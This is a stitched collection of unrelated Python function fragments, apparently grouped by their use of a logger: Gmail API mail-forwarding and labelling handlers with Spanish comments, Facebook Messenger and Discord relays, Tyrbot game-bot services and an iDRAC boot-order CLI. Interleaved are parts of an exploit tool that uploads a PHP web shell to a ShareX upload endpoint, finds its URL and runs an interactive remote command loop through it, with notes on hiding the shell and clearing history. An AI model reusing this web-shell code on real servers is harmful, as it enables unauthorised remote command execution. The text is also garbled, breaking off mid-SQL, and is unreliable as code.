def _post_message(self, message): """ Send the given message to the Facebook Messenger platform. :param message: The message to post. :return: The Facebook Messenger response. """ from core.logger import Logger from google.appengine.api import urlfetch from json import dumps try: # Post the message to the Facebook Messenger platform. r = urlfetch.fetch(url=self._fb_messenger_api_url, method=urlfetch.POST, headers={"Content-Type": "application/json"}, payload=dumps(message)) # Parse the response. response = r.content if r.status_code == 200 else None Logger.info("Facebook response:\n%s" % response) # In case of error. except BaseException as e: Logger.error(e) response = None # Return the parsed response. return response
async def test_log_error(self): logger = Logger(self.name, self.path, self.level) with self.assertLogs(self.name, logging.ERROR): logger.error('test error log') with open(self.path) as f: self.assertIsNotNone(f.read())
def _post_message(self, message): """ Send the given message to the Facebook Messenger platform. :param message: The message to post. :return: The Facebook Messenger response. """ from core.logger import Logger from google.appengine.api import urlfetch from json import dumps try: # Post the message to the Facebook Messenger platform. r = urlfetch.fetch( url=self._fb_messenger_api_url, method=urlfetch.POST, headers={"Content-Type": "application/json"}, payload=dumps(message) ) # Parse the response. response = r.content if r.status_code == 200 else None Logger.info("Facebook response:\n%s" % response) # In case of error. except BaseException as e: Logger.error(e) response = None # Return the parsed response. return response
def authorize(self, email): """ Establece el buzón receptor dado como autorizado, crea las etiquetas DUPLICADO, GESTIONADO, PDTE REINTENTAR y ERROR en el buzón dado. :param email: Identificador del buzón. :return: El buzón autorizado. """ from pending_authorization import PendingAuthorizationManager from core.logger import Logger try: entity = self.get_by_email(email) if entity is not None: # Marcamos el buzón como autorizado. entity.is_authorized = True # Añadimos la información de tracking. entity.updated_by = self._user entity.put() # Obtenemos el diccionario que representa el buzón actualizado. entity = entity.to_dict() # Eliminamos la autorización. PendingAuthorizationManager.delete(entity["user_id"]) except Exception as e: Logger.error(e) raise e return entity
def authorize(self, email): """ Autoriza el buzón de correo indicado. :param email: Identificador de buzón de correo. :return: El buzón de correo autorizado. """ from managers.pending_authorization import PendingAuthorizationManager from core.logger import Logger try: entity = self.get_by_email(email) if entity is not None: Logger.info("It's authorized: {}".format(entity.is_authorized)) # Marcamos el buzón como autorizado. entity.is_authorized = True entity.updated_by = self._user entity.put() # Obtenemos el diccionario que representa el buzón actualizado. entity = entity.to_dict() # Eliminamos la autorización. PendingAuthorizationManager.delete(entity["user_id"]) except Exception as e: Logger.error(e) raise e return entity
def find_messages(cls, email): """ Obtiene la lista de mensajes recibidos en el buzón. :param email: Buzón de correo. :return: La lista de mensajes. """ from clients.gmail_api import GmailApiClient from core.logger import Logger try: messages = [] resource = GmailApiClient(email).messages() page_token = None while True: response = resource.list( pageToken=page_token, includeSpamTrash=False, q="in:inbox is:unread" ) if "messages" in response: for message in response["messages"]: if not any(x for x in messages if x["id"] == message["id"]): messages.append(message) if "nextPageToken" in response: page_token = response["nextPageToken"] else: break except Exception as e: Logger.error(e) raise e return messages
def authorize(self, email): """ Establece el buzón receptor dado como autorizado. :param email: Identificador del buzón. :return: El buzón autorizado. """ from pending_authorization import PendingAuthorizationManager from core.logger import Logger try: entity = self.get_by_email(email) if entity is not None: # Marcamos el buzón como autorizado. entity.is_authorized = True # Añadimos la información de tracking. entity.updated_by = self._user entity.put() # Eliminamos la autorización. PendingAuthorizationManager.delete(entity.email) except Exception as e: Logger.error(e) raise e return entity.to_dict()
class BaseExtractor: """ All xtractor needs to be extended to this base class.""" request = HttpRequest() arg_parser = ArgumentParser('scraper') cmd_args = None db = AlchemyService() log = None def execute(self): raise XtendedException('Method execute not implemented') def parse_html(self, html, parser='html.parser'): return HtmlParser(html, parser) def add_cmd_argument(self, arg_parser): return self.arg_parser def __init_arg_parser(self): self.arg_parser = self.init_xtarctor() def run(self): self.log = Logger(self.__class__.__name__) try: self.add_cmd_argument(self.arg_parser) self.cmd_args = self.arg_parser.parse_args() self.execute() except Exception as e: self.log.error(str(e))
def create(email, group_id, mailbox_id): """ Crea la autorización pendiente para el buzón dado. :param email: Usuario del buzón. :param group_id: Identificador del grupo. :param mailbox_id: Identificador del buzón. :return: La autorización creada. """ from core.logger import Logger try: # Creamos la entidad. entity = PendingAuthorizationDao( id=str(email), group_id=int(group_id), mailbox_id=int(mailbox_id) ) entity.put() # Obtenemos el diccionario que representa la autorización creada. entity = entity.to_dict() except Exception as e: Logger.error(e) raise e return entity
class DiscordWrapper(discord.Client): def __init__(self, channels, servers, dqueue, aoqueue, db): super().__init__(intents=discord.Intents(guilds=True, invites=True, guild_messages=True, members=True)) asyncio.set_event_loop(asyncio.new_event_loop()) self.logger = Logger(__name__) self.relay_to = {} self.dqueue = dqueue self.aoqueue = aoqueue self.channels = channels self.available_servers = servers self.db = db async def on_ready(self): self.dqueue.append(("discord_ready", "ready")) self.dqueue.append(("discord_channels", self.get_all_channels())) for server in self.guilds: guild: Guild = server self.available_servers.append(server) async def on_message(self, message): if message.content.startswith("!") and len(message.content) > 1: command = message.content[1:] self.dqueue.append(("discord_command", command)) elif not message.author.bot: cid = message.channel.id if cid in self.channels: if self.channels[cid].relay_dc: self.dqueue.append(("discord_message", message)) async def relay_message(self): await self.wait_until_ready() while not self.is_closed(): if self.aoqueue: try: dtype, message = self.aoqueue.pop(0) if dtype == "get_invite": name = message[0] server = message[1] invites = await self.get_guild(server.id).invites() self.dqueue.append(("discord_invites", (name, invites))) else: content = message.get_message() for cid, channel in self.channels.items(): if channel.relay_ao: if message.get_type() == "embed": await self.get_channel(cid).send(embed=content) # await self.(discord.Object(id=cid), embed=content) else: await self.get_channel(cid).send(content) # await self.send_message(discord.Object(id=cid), content) except Exception as e: self.logger.error("Exception raised during Discord event (%s, %s)" % (str(dtype), str(message)), e) await asyncio.sleep(1)
class CharacterHistoryService: CACHE_GROUP = "history" CACHE_MAX_AGE = 86400 def __init__(self): self.logger = Logger(__name__) def inject(self, registry): self.bot = registry.get_instance("bot") self.cache_service = registry.get_instance("cache_service") def get_character_history(self, name, server_num): cache_key = "%s.%d.json" % (name, server_num) t = int(time.time()) # check cache for fresh value cache_result = self.cache_service.retrieve(self.CACHE_GROUP, cache_key) if cache_result and cache_result.last_modified > (t - self.CACHE_MAX_AGE): # TODO set cache age result = json.loads(cache_result.data) else: url = self.get_pork_url(server_num, name) try: r = requests.get( url, headers={"User-Agent": f"Tyrbot {self.bot.version}"}, timeout=5) result = r.json() except ReadTimeout: self.logger.warning("Timeout while requesting '%s'" % url) result = None except Exception as e: self.logger.error( "Error requesting history for url '%s'" % url, e) result = None if result: # store result in cache self.cache_service.store(self.CACHE_GROUP, cache_key, json.dumps(result)) elif cache_result: # check cache for any value, even expired result = json.loads(cache_result.data) if result: # TODO set cache age return map(lambda x: DictObject(x), result) else: return None def get_pork_url(self, dimension, char_name): return "http://pork.budabot.jkbff.com/pork/history.php?server=%d&name=%s" % ( dimension, char_name)
class SystemController: def __init__(self): self.logger = Logger(__name__) def inject(self, registry): self.bot = registry.get_instance("bot") @setting(name="expected_shutdown", value="true", description="Helps bot to determine if last shutdown was expected or due to a problem") def expected_shutdown(self): return BooleanSettingType() @command(command="shutdown", params=[], access_level="superadmin", description="Shutdown the bot") def shutdown_cmd(self, request): msg = "The bot is shutting down..." self.bot.send_org_message(msg) self.bot.send_private_channel_message(msg) # set expected flag self.expected_shutdown().set_value(True) if request.channel not in [CommandService.ORG_CHANNEL, CommandService.PRIVATE_CHANNEL]: request.reply(msg) self.bot.shutdown() @command(command="restart", params=[], access_level="superadmin", description="Restart the bot") def restart_cmd(self, request): msg = "The bot is restarting..." self.bot.send_org_message(msg) self.bot.send_private_channel_message(msg) # set expected flag self.expected_shutdown().set_value(True) if request.channel not in [CommandService.ORG_CHANNEL, CommandService.PRIVATE_CHANNEL]: request.reply(msg) self.bot.restart() @event(event_type="connect", description="Notify superadmin that bot has come online") def connect_event(self, event_type, event_data): if self.expected_shutdown().get_value(): msg = "<myname> is now <green>online<end>." else: self.logger.error("the bot has recovered from an unexpected shutdown or restart") msg = "<myname> is now <green>online<end> but may have shut down or restarted unexpectedly." self.bot.send_private_message(self.bot.superadmin, msg) self.bot.send_org_message(msg) self.bot.send_private_channel_message(msg) self.expected_shutdown().set_value(False)
def execute(shell_url, cmd): """ Execute shell command through web shell and return command output """ res = requests.get(shell_url, params={'cmd': cmd}) if res.status_code == 200: output = res.text return output elif res.status_code == 404: # TODO: remove shell URL from cache if cache enabled Logger.error('web shell not found')
def get_raw_message(self): """ Obtiene el bruto del mensaje correspondiente a los datos almacenados en la instancia actual. :return: Una cadena de texto con el bruto del mensaje. """ try: message = self.__create_message().as_string() raw = base64.urlsafe_b64encode(message) except Exception as e: Logger.error(e) raise e return raw
def create_label(self, label): """ Crea una nueva etiqueta, estableciendo el buzón de correo indicado como padre. :param label: Etiqueta. :return: La etiqueta creada. """ from clients.gmail_api import GmailApiClient from core.logger import Logger from models.label import LabelDao try: # Comprobamos que los datos obligatorios vengan informados. if label.gmail_name is None: raise Exception("Label gmail_name cannot be empty.") # Establecemos el nombre de la etiqueta. gmail_name = label.gmail_name entity = self.get() # Obtenemos el acceso al recurso 'labels' de Gmail API. resource = GmailApiClient(entity.email).labels() # Obtenemos todas las etiquetas del buzón para, en caso de # existir ya, seleccionar dicha etiqueta en vez de crearla. mailbox_labels = resource.list() # Comprobamos si ya existe una etiqueta con el nombre propuesto. current_label = next((l for l in mailbox_labels["labels"] if l["name"].lower() == gmail_name.lower()), None) Logger.info("Current label: %s ", current_label) # Si no existe la creamos. if current_label is None: response = resource.create(body={ "name": gmail_name, "labelListVisibility": "labelShow", "messageListVisibility": "show" }) entity.updated_by = self._user # Añadimos el identificador obtenido. label_dao = LabelDao(**{"gmail_name": gmail_name, "gmail_id": response["id"]}) entity.labels.append(label_dao) Logger.info("Created label: {}".format(label_dao.to_dict())) else: raise Exception("This label is already in this account.") # manager.add_label(entity.gmail_id) entity.put() except Exception as e: Logger.error(e) raise e return entity
def delete(email): """ Elimina la autorización pendiente correspondiente al buzón dado. :param email: Usuario del buzón. """ from core.logger import Logger try: entity = Key(PendingAuthorizationDao, str(email)).get() if entity is not None: entity.key.delete() except Exception as e: Logger.error(e) raise e
def post(self): """ Obtiene los mensajes del buzón correspondiente al día recién cerrado. """ from core.logger import Logger from json import loads from clients.gmail_api import GmailApiClient try: # Obtenemos los datos de la petición. sender = loads(self.request.get("sender_account")) recipients = loads(self.request.get("recipient_accounts")) # Obtenemos los mensajes de la cuenta emisora. messages = self.find_messages(sender["email"]) resource = GmailApiClient(sender["email"]).messages() if messages: # Por cada mensaje encontrado. for message in messages: # Creamos un mensaje. mssg = GmailApiClient.Message(resource.get(id=message["id"])) # Creamos un mensaje para mappear el mensaje obtenido. mssg2 = GmailApiClient.MessageMapper() Logger.info(u"From address: {}".format(mssg.get_from())) Logger.info(u"Sender address: {}".format(mssg.get_sender())) # Seteamos los campos que nos interesan. mssg2.set_html_body(mssg.get_html_body()) mssg2.set_subject(mssg.get_from() + "$ " + mssg.get_subject()) mssg2.add_header("Return-Path", u"{}".format(mssg.get_from())) mssg2.add_header("X-Env-Sender", u"{}".format(mssg.get_from())) mssg2.from_address = u"{}".format(mssg.get_from()) Logger.info(u"New from: {}".format(mssg2.from_address)) # Agregamos los buzones receptores. for recipient in recipients: mssg2.add_recipient(recipient["email"]) sender_email = sender["email"] response = GmailApiClient(sender_email).send_message(mssg2, sender_email) # Si obtenemos respuesta, borramos los mensajes del buzón emisor. if response: GmailApiClient(sender_email).messages().delete( id=message["id"], userId=sender_email ) except Exception as e: Logger.error(e)
class MessageHubService: DEFAULT_GROUP = "default" def __init__(self): self.logger = Logger(__name__) self.hub = {} def inject(self, registry): self.bot = registry.get_instance("bot") self.setting_service = registry.get_instance("setting_service") self.character_service: CharacterService = registry.get_instance( "character_service") self.text: Text = registry.get_instance("text") def register_message_source(self, source, callback): if source in self.hub: raise Exception("Relay source '%s' already registered" % source) self.hub[source] = (DictObject({ "source": source, "callback": callback, "group": self.DEFAULT_GROUP })) def send_message(self, source, sender, message, formatted_message): obj = self.hub.get(source, None) if not obj: return group = obj.group if not group: return ctx = DictObject({ "source": source, "sender": sender, "message": message, "formatted_message": formatted_message }) for _, c in self.hub.items(): if c.source != source and c.group == group: try: c.callback(ctx) except Exception as e: self.logger.error("", e)
class CharacterHistoryService: CACHE_GROUP = "history" CACHE_MAX_AGE = 86400 def __init__(self): self.logger = Logger(__name__) def inject(self, registry): self.bot = registry.get_instance("bot") self.cache_service = registry.get_instance("cache_service") def get_character_history(self, name, server_num): cache_key = "%s.%d.json" % (name, server_num) # check cache for fresh value cache_result = self.cache_service.retrieve(self.CACHE_GROUP, cache_key, self.CACHE_MAX_AGE) if cache_result: # TODO set cache age result = json.loads(cache_result) else: url = "http://pork.budabot.jkbff.com/pork/history.php?server=%d&name=%s" % (server_num, name) try: r = requests.get(url, timeout=5) result = r.json() except ReadTimeout: self.logger.warning("Timeout while requesting '%s'" % url) result = None except Exception as e: self.logger.error("Error requesting history for url '%s'" % url, e) result = None if result: # store result in cache self.cache_service.store(self.CACHE_GROUP, cache_key, json.dumps(result)) else: # check cache for any value, even expired # TODO set cache age cache_obj = self.cache_service.retrieve(self.CACHE_GROUP, cache_key) if cache_obj: result = json.loads(cache_obj) if result: return map(lambda x: DictObject(x), result) else: return None
def command_line(shell_url): """ Start web shell command line """ # TODO: stealth mode: # - remove PHP web shell on loop exit # - rename PHP web shell // add hideden file attribute # ? clear command history user = Shell.execute(shell_url, 'whoami').strip() Logger.empty_line() while True: try: cmd = input(f'{user} $ ') except KeyboardInterrupt: return except EOFError: return cmd_stripped = cmd.strip().strip(' ').lower() if len(cmd_stripped) == 0: continue if cmd_stripped in ('cls', 'clear'): subprocess.call('cls' if os.name == 'nt' else 'clear', shell=True) elif cmd_stripped in ('exit', 'quit'): break else: try: output = Shell.execute(shell_url, cmd) if output is not None and len(output) > 0: print(output) except Exception: Logger.error( 'an error occurred while attempting to execute command' )
def get_shell_url(res_body, target_url): """ Fetch shell URL from response body """ re_shell_urls = re.findall(r'https?:\/\/?[\w/\-?=%.]+\.[\w/\-&?=%.]+', res_body) for res_url in re_shell_urls: if res_url.endswith('.php'): # fixes URL in case of misconfiguration in PHP file res_parts = [x for x in res_url.split('/') if len(x) > 0] res_path = '/'.join(res_parts[2:]) target_parts = [x for x in target_url.split('/') if len(x) > 0] target_protocol = target_parts[0][:-1] target_host = target_parts[1] return f'{target_protocol}://{target_host}/{res_path}' else: Logger.error('web shell url not displayed in response body')
class WebsocketRelayWorker: def __init__(self, inbound_queue, url, user_agent): self.logger = Logger(__name__) self.inbound_queue = inbound_queue self.url = url self.ws = None self.user_agent = user_agent self.is_running = False def run(self): self.ws = create_connection(self.url, header={"User-Agent": self.user_agent}) self.logger.info("Connected to Websocket Relay!") self.is_running = True try: result = self.ws.recv() while result: obj = DictObject(json.loads(result)) self.inbound_queue.append(obj) result = self.ws.recv() except WebSocketConnectionClosedException as e: if self.is_running: self.logger.error("", e) self.ws.close() def send_message(self, message): if self.ws: self.ws.send(message) def send_ping(self): try: if self.ws: self.ws.ping() except WebSocketConnectionClosedException as e: self.logger.error("", e) self.close() def close(self): if self.ws: self.is_running = False self.ws.close()
def upload_shell(upload_url, form_name, secret, field_name, verbose, cache_enabled): """ Upload shell to target site """ res = ShareX.upload(upload_url, io.BytesIO(Shell.PAYLOAD.encode()), file_name=Exploit.MAGIC, form_name=form_name, secret=secret, field_name=field_name) res_code = res.status_code res_body = res.text.strip() if res.status_code != 200: if res_code == 403: Logger.error('target blocked file upload. waf?') elif res_code == 404: Logger.error('file upload endpoint not found') else: Logger.error('unknown response code') for error in ShareX.Errors: if error.value['content'].lower() in res_body.lower(): reason = error.value['reason'].lower() Logger.error(f'failed to upload shell: \x1b[95m{reason}') shell_url = Exploit.get_shell_url(res_body, upload_url) if not Exploit.check(shell_url): Logger.error('target does not appear vulnerable') Logger.success('php web shell uploaded') if verbose: Logger.info(f'location: \x1b[95m{shell_url}') if cache_enabled: Cache.save(upload_url, shell_url) Logger.success('results saved to cache') return shell_url
class RelayHubService: DEFAULT_GROUP = "relay" def __init__(self): self.logger = Logger(__name__) self.hub = {} def inject(self, registry): self.bot = registry.get_instance("bot") self.setting_service = registry.get_instance("setting_service") self.character_service: CharacterService = registry.get_instance( "character_service") self.text: Text = registry.get_instance("text") def register_relay(self, source, callback): self.hub[source] = (DictObject({ "source": source, "callback": callback, "group": self.DEFAULT_GROUP })) def send_message(self, source, sender, message): relay = self.hub.get(source, None) if not relay: return group = relay.group if not group: return ctx = DictObject({ "source": source, "sender": sender, "message": message }) for _, c in self.hub.items(): if c.source != source and c.group == group: try: c.callback(ctx) except Exception as e: self.logger.error(e)
def send_message(self, message, user): """ Envía el mensaje dado. """ try: # Si el mensaje no viene dado como corresponde. if not isinstance(message, GmailApiClient.MessageMapper): raise TypeError("The given message is not an instance of Message class.") Logger.info("Sending the message...") Logger.info("Message: {}".format(message)) # Obtenemos el mensaje en bruto y lo enviamos. response = self.messages().send( userId=user, body={"raw": message.get_raw_message()} ) except (errors.HttpError, TypeError), e: Logger.error(e) raise e
def do_request(**kwargs): """ Realiza una petición a un recurso de Gmail API. :param kwargs: Parámetros de la petición. :type kwargs: dict. :return: Respuesta de Gmail API. """ """ Puede que ocurra un error de rateLimitExceeded o userRateLimitExceeded. En ese caso la documentación oficial recomienda implementar un exponential backoff https://developers.google.com/gmail/api/guides/migrate-from-emapi https://developers.google.com/drive/v2/web/handle-errors https://github.com/google/google-api-python-client/blob/master/googleapiclient/http.py#L65 """ from core.logger import Logger if "userId" not in kwargs: kwargs["userId"] = "me" Logger.info("Executing request...") # Reintentamos 3 veces. for n in range(0, 3): try: Logger.info("Try #{}".format(n + 1)) response = method(**kwargs).execute(num_retries=3) return response except errors.HttpError, e: Logger.info(e) Logger.info("Execution failed...") Logger.info("Status: {}".format(e.resp.status)) Logger.info("Reason: {}".format(e.resp.reason)) if e.resp.status in [403, 429, 503] or \ e.resp.reason in ["rateLimitExceeded", "userRateLimitExceeded"]: Logger.warning("Error {}. Retrying".format(e.resp.status)) time.sleep((2 ** n) + random.randint(0, 1000) / 1000) else: Logger.error("Unknown error: {}".format(e)) raise e
def start(self, show_window=False): self._waypoints.parse(self.config.waypoint['grind'][0]['waypoints']) self._behavior.resolve_profile(GlobalConfig.config.behavior) for screen in self._screen_interceptor.capture(): if show_window: self._show_window(screen) time_before = time.time() try: data = self._extractor.extract_data_from_screen(screen) self._data_sanitizer.sanitize_data(data) delta = time.time() - time_before Logger.debug("Elapsed time after extraction: {}".format(delta)) time.sleep(0.05) self._state_handler.update(data, screen) except ExtractException as e: # screen.save(f"errorimages\\{str(uuid.uuid4().hex)}.bmp") Logger.error( "Error while extracting data from addon. Data extracted: {}", e.partial) if self._extract_error_count <= GlobalConfig.config.core.extract_error_threshold: self._extract_error_count += 1 continue else: self._recover_error_count += 1 self._state_handler = StateHandler(self._controller, self._behavior, self._waypoints) except RecoverableException as e: if self._recover_error_count <= GlobalConfig.config.core.recoverable_error_threshold: self._recover_error_count += 1 self._state_handler = StateHandler(self._controller, self._behavior, self._waypoints) continue else: raise UnrecoverableException(str(e))
def post(self): """ Etiqueta los mensajes del día recién cerrado. """ from json import loads from core.logger import Logger from clients.gmail_api import GmailApiClient from managers.rules import RulesManager try: # Obtenemos los datos de la petición. recipient = loads(self.request.get("recipient_account")) messages = MessageManagementHandler.find_messages(recipient["email"]) resource = GmailApiClient(recipient["email"]).messages() for message in messages: mssg = GmailApiClient.Message(resource.get(id=message["id"])) # Por cada label existente en cada buzón receptor. for label in recipient["labels"]: # Aplicamos la regla existente por cada label. for rule in label["rules"]: rule = RulesManager(rule_id=rule["id"]).get() if self.apply_rule( rule.rule, mssg.get_plain_body() if rule.field == "body" else mssg.get_from() if rule.field == "to" else mssg.get_subject(), message["id"], label["gmail_id"], resource ): break except Exception as e: Logger.error(e)
def start(self): try: start = StartComponent(GlobalConfig.config, self.controller, self.extractor, self.screen) start.start() except BombShellException as e: Logger.error("Exiting with a handled error: {}".format(e)) except Exception as e: Logger.error("Unexpected error") Logger.error(traceback.format_exc()) finally: self.screen.stop_capturing() self.extractor.end()
class SystemController: SHUTDOWN_EVENT = "shutdown" shutdown_msg = "The bot is shutting down..." restart_msg = "The bot is restarting..." def __init__(self): self.logger = Logger(__name__) def inject(self, registry): self.bot = registry.get_instance("bot") self.setting_service: SettingService = registry.get_instance("setting_service") self.event_service = registry.get_instance("event_service") def pre_start(self): self.event_service.register_event_type(self.SHUTDOWN_EVENT) @setting(name="expected_shutdown", value="true", description="Helps bot to determine if last shutdown was expected or due to a problem") def expected_shutdown(self): return BooleanSettingType() @setting(name="restart_notify", value="true", description="Notify org and private channel when bot is restarting") def restart_notify(self): return BooleanSettingType() @command(command="shutdown", params=[], access_level="superadmin", description="Shutdown the bot") def shutdown_cmd(self, request): self.event_service.fire_event(self.SHUTDOWN_EVENT, DictObject({"restart": False})) # set expected flag self.expected_shutdown().set_value(True) if request.channel not in [CommandService.ORG_CHANNEL, CommandService.PRIVATE_CHANNEL]: request.reply(self.shutdown_msg) self.bot.shutdown() @command(command="restart", params=[], access_level="admin", description="Restart the bot") def restart_cmd(self, request): self.event_service.fire_event(self.SHUTDOWN_EVENT, DictObject({"restart": True})) # set expected flag self.expected_shutdown().set_value(True) if request.channel not in [CommandService.ORG_CHANNEL, CommandService.PRIVATE_CHANNEL]: request.reply(self.restart_msg) self.bot.restart() @event(event_type="connect", description="Notify superadmin that bot has come online") def connect_event(self, event_type, event_data): if self.expected_shutdown().get_value(): msg = "<myname> is now <green>online<end>." else: self.logger.error("the bot has recovered from an unexpected shutdown or restart") msg = "<myname> is now <green>online<end> but may have shut down or restarted unexpectedly." self.bot.send_private_message(self.bot.superadmin, msg) self.bot.send_org_message(msg, fire_outgoing_event=False) self.bot.send_private_channel_message(msg, fire_outgoing_event=False) self.expected_shutdown().set_value(False) @event(event_type=SHUTDOWN_EVENT, description="Notify org channel on shutdown/restart") def notify_org_channel_shutdown_event(self, event_type, event_data): if event_data.restart: self.bot.send_org_message(self.restart_msg, fire_outgoing_event=False) else: self.bot.send_org_message(self.shutdown_msg, fire_outgoing_event=False) @event(event_type=SHUTDOWN_EVENT, description="Notify private channel on shutdown/restart") def notify_private_channel_shutdown_event(self, event_type, event_data): if event_data.restart: self.bot.send_private_channel_message(self.restart_msg, fire_outgoing_event=False) else: self.bot.send_private_channel_message(self.shutdown_msg, fire_outgoing_event=False)
def main(argv=None): parser = argparse.ArgumentParser( description="Client tool for changing boot order via Redfish API.") parser.add_argument("-H", help="iDRAC host address") parser.add_argument("-u", help="iDRAC username", required=True) parser.add_argument("-p", help="iDRAC password", required=True) parser.add_argument("-i", help="Path to iDRAC interfaces yaml", default=None) parser.add_argument("-t", help="Type of host. Accepts: foreman, director") parser.add_argument("-l", "--log", help="Optional argument for logging results to a file") parser.add_argument("-f", "--force", dest='force', action='store_true', help="Optional argument for forced clear-jobs") parser.add_argument("--host-list", help="Path to a plain text file with a list of hosts.", default=None) parser.add_argument("--pxe", help="Set next boot to one-shot boot PXE", action="store_true") parser.add_argument( "--boot-to", help="Set next boot to one-shot boot to a specific device") parser.add_argument( "--boot-to-type", help="Set next boot to one-shot boot to either director or foreman") parser.add_argument( "--boot-to-mac", help= "Set next boot to one-shot boot to a specific MAC address on the target" ) parser.add_argument("--reboot-only", help="Flag for only rebooting the host", action="store_true") parser.add_argument( "--power-cycle", help="Flag for sending ForceOff instruction to the host", action="store_true") parser.add_argument("--racreset", help="Flag for iDRAC reset", action="store_true") parser.add_argument("--check-boot", help="Flag for checking the host boot order", action="store_true") parser.add_argument("--firmware-inventory", help="Get firmware inventory", action="store_true") parser.add_argument("--export-configuration", help="Export system configuration to XML", action="store_true") parser.add_argument("--clear-jobs", help="Clear any schedule jobs from the queue", action="store_true") parser.add_argument("-v", "--verbose", help="Verbose output", action="store_true") parser.add_argument("-r", "--retries", help="Number of retries for executing actions.", default=RETRIES) args = vars(parser.parse_args(argv)) log_level = DEBUG if args["verbose"] else INFO logger = Logger() logger.start(level=log_level) if args["log"]: file_handler = FileHandler(args["log"]) file_handler.setFormatter(Formatter(logger.LOGFMT)) file_handler.setLevel(DEBUG) logger.addHandler(file_handler) host_list = args["host_list"] host = args["H"] if host_list: try: with open(host_list, "r") as _file: for _host in _file.readlines(): try: execute_badfish(_host.strip(), args, logger) except SystemExit: continue except IOError as ex: logger.debug(ex) logger.error("There was something wrong reading from %s" % host_list) elif not host: logger.error( "You must specify at least either a host (-H) or a host list (--host-list)." ) else: execute_badfish(host, args, logger) return 0
def __create_message(self): """ Construye un mensaje -email- con los datos almacenados en la instancia actual. :return: El mensaje como MIMEText o MIMEMultipart. """ try: Logger.info("Generating the message...") # Si se han indicado cuerpos tanto en texto plano como en HTML. if self.plain_body is not None and self.html_body is not None: message = MIMEMultipart("alternative") message.attach(MIMEText(self.plain_body, "plain")) message.attach(MIMEText(self.html_body, "html")) # Si solo se ha indicado el cuerpo en texto plano. elif self.plain_body is not None: message = MIMEText(self.plain_body, "plain") # Si solo se ha indicado el cuerpo en HTML. else: message = MIMEText(self.html_body, "html") Logger.info("Appending the attachments...") # Si existen adjuntos. if len(self.attachments) > 0: # El mensaje pasa a ser un MIMEMultipart con los cuerpos adjuntos. aux = message message = MIMEMultipart() message.attach(aux) # Por cada adjunto. for filename, content in self.attachments: # Obtenemos su mimetype. mimetype, encoding = mimetypes.guess_type(filename) if mimetype is None or encoding is not None: mimetype = "application/octet-stream" maintype, subtype = mimetype.split("/", 1) # Construimos el part correspondiente al adjunto en base al mimetype. if maintype == "text": part = MIMEText(content, _subtype=subtype) elif maintype == "image": part = MIMEImage(content, _subtype=subtype) elif maintype == "audio": part = MIMEAudio(content, _subtype=subtype) else: part = MIMEBase(maintype, subtype) part.set_payload(content) part.add_header("Content-Disposition", "attachment", filename=filename) # Añadimos el part del adjunto al principal. message.attach(part) Logger.info("Appending the headers...") # Añadimos las cabeceras comunes. message["Subject"] = self.subject message["From"] = self.from_address message["To"] = ", ".join([r[0] if r[1] is None else "%s <%s>" % r for r in self.to_recipients]) message["Cc"] = ", ".join([r[0] if r[1] is None else "%s <%s>" % r for r in self.cc_recipients]) message["Bcc"] = ", ".join([r[0] if r[1] is None else "%s <%s>" % r for r in self.bcc_recipients]) Logger.info(u"Final from:{}".format(message["From"])) # Si existen otras cabeceras. if len(self.headers) > 0: # Las añadimos al part principal. for key, value in self.headers: message[key] = value Logger.info("Message generated successfully") Logger.info("The message: {}".format(message)) except Exception as e: Logger.error(e) raise e return message
class Tyrbot: CONNECT_EVENT = "connect" PRIVATE_MSG_EVENT = "private_msg" def __init__(self): super().__init__() self.logger = Logger(__name__) self.ready = False self.packet_handlers = {} self.superadmin = None self.status: BotStatus = BotStatus.SHUTDOWN self.dimension = None self.last_timer_event = 0 self.start_time = int(time.time()) self.version = "0.7-beta" self.incoming_queue = FifoQueue() self.mass_message_queue = None self.conns = DictObject() self.primary_conn_id = None def inject(self, registry): self.db = registry.get_instance("db") self.character_service: CharacterService = registry.get_instance( "character_service") self.public_channel_service: PublicChannelService = registry.get_instance( "public_channel_service") self.text: Text = registry.get_instance("text") self.setting_service: SettingService = registry.get_instance( "setting_service") self.access_service: AccessService = registry.get_instance( "access_service") self.event_service = registry.get_instance("event_service") self.job_scheduler = registry.get_instance("job_scheduler") def init(self, config, registry, mmdb_parser): self.mmdb_parser = mmdb_parser self.superadmin = config.superadmin.capitalize() self.dimension = config.server.dimension self.db.exec( "CREATE TABLE IF NOT EXISTS command_config (command VARCHAR(50) NOT NULL, sub_command VARCHAR(50) NOT NULL, access_level VARCHAR(50) NOT NULL, channel VARCHAR(50) NOT NULL, " "module VARCHAR(50) NOT NULL, enabled SMALLINT NOT NULL, verified SMALLINT NOT NULL)" ) self.db.exec( "CREATE TABLE IF NOT EXISTS event_config (event_type VARCHAR(50) NOT NULL, event_sub_type VARCHAR(50) NOT NULL, handler VARCHAR(255) NOT NULL, description VARCHAR(255) NOT NULL, " "module VARCHAR(50) NOT NULL, enabled SMALLINT NOT NULL, verified SMALLINT NOT NULL, is_hidden SMALLINT NOT NULL)" ) self.db.exec( "CREATE TABLE IF NOT EXISTS timer_event (event_type VARCHAR(50) NOT NULL, event_sub_type VARCHAR(50) NOT NULL, handler VARCHAR(255) NOT NULL, next_run INT NOT NULL)" ) self.db.exec( "CREATE TABLE IF NOT EXISTS setting (name VARCHAR(50) NOT NULL, value VARCHAR(255) NOT NULL, description VARCHAR(255) NOT NULL, module VARCHAR(50) NOT NULL, verified SMALLINT NOT NULL)" ) self.db.exec( "CREATE TABLE IF NOT EXISTS command_alias (alias VARCHAR(50) NOT NULL, command VARCHAR(1024) NOT NULL, enabled SMALLINT NOT NULL)" ) self.db.exec( "CREATE TABLE IF NOT EXISTS command_usage (command VARCHAR(255) NOT NULL, handler VARCHAR(255) NOT NULL, char_id INT NOT NULL, channel VARCHAR(20) NOT NULL, created_at INT NOT NULL)" ) self.db.exec( "CREATE TABLE IF NOT EXISTS ban_list (char_id INT NOT NULL, sender_char_id INT NOT NULL, created_at INT NOT NULL, finished_at INT NOT NULL, reason VARCHAR(255) NOT NULL, ended_early SMALLINT NOT NULL)" ) self.db.exec("UPDATE db_version SET verified = 0") self.db.exec( "UPDATE db_version SET verified = 1 WHERE file = 'db_version'") # prepare commands, events, and settings self.db.exec("UPDATE command_config SET verified = 0") self.db.exec("UPDATE event_config SET verified = 0") self.db.exec("UPDATE setting SET verified = 0") with self.db.transaction(): registry.pre_start_all() registry.start_all() # remove commands, events, and settings that are no longer registered self.db.exec("DELETE FROM db_version WHERE verified = 0") self.db.exec("DELETE FROM command_config WHERE verified = 0") self.db.exec("DELETE FROM event_config WHERE verified = 0") self.db.exec( "DELETE FROM timer_event WHERE handler NOT IN (SELECT handler FROM event_config 